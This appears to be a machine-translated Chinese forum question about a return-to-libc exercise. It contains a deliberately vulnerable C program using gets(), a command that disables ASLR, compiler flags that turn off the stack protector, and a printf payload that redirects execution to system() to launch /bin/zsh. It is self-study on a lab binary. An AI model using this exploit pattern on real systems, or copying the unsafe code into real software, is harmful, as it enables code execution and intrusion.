我想了解返回 libc 攻击的工作原理,所以我编写了一个易受攻击的程序,以便可以将函数的返回地址更改为system()
. 但是,该程序似乎没有调用system()
并干净地退出。
先决条件
-我正在使用 Debain Squeeze
-我禁用了地址随机化:
echo 0 > /proc/sys/kernel/randomize_va_space
易受攻击的代码
#include <stdio.h>
void someFunc(void);
void someFunc(void){
char buffer[64];
gets(buffer);
//puts(buffer);
}
int main(int argc, char **argv)
{
someFunc();
return 0;
}
代码编译为:
gcc -fno-stack-protector -ggdb -o vuln vuln.c
使用 GDB,我断言:
/bin/zsh
是 @0xbffff9b9
system()
是 @0xb7ed0000
exit()
是 @0xb7ec60f0
开发
72
我通过在0、exit、system 和指向的指针/bin/zsh
中按顺序使用它来利用它:
printf "%072x\xf0\x60\xec\xb7\x00\x00\xed\xb7\xb9\xf9\xff\xbf" | ./vuln
该程序没有段错误或执行/bin/zsh
。
在 GDB 中
有趣的是,如果我更改SHELL="/xin/zsh"
并在 gdb 中执行它,系统调用将起作用:
Cannot exec /xin/zsh
所以我的问题是:
我是否正确理解了回归 libc 攻击的概念?
我是否以正确的方式和顺序传递恶意代码?
为什么它似乎在 GDB 中有效,但在 shell 中无效?
(我已经读过return to libc 在 gdb 中工作,但在单独运行时没有)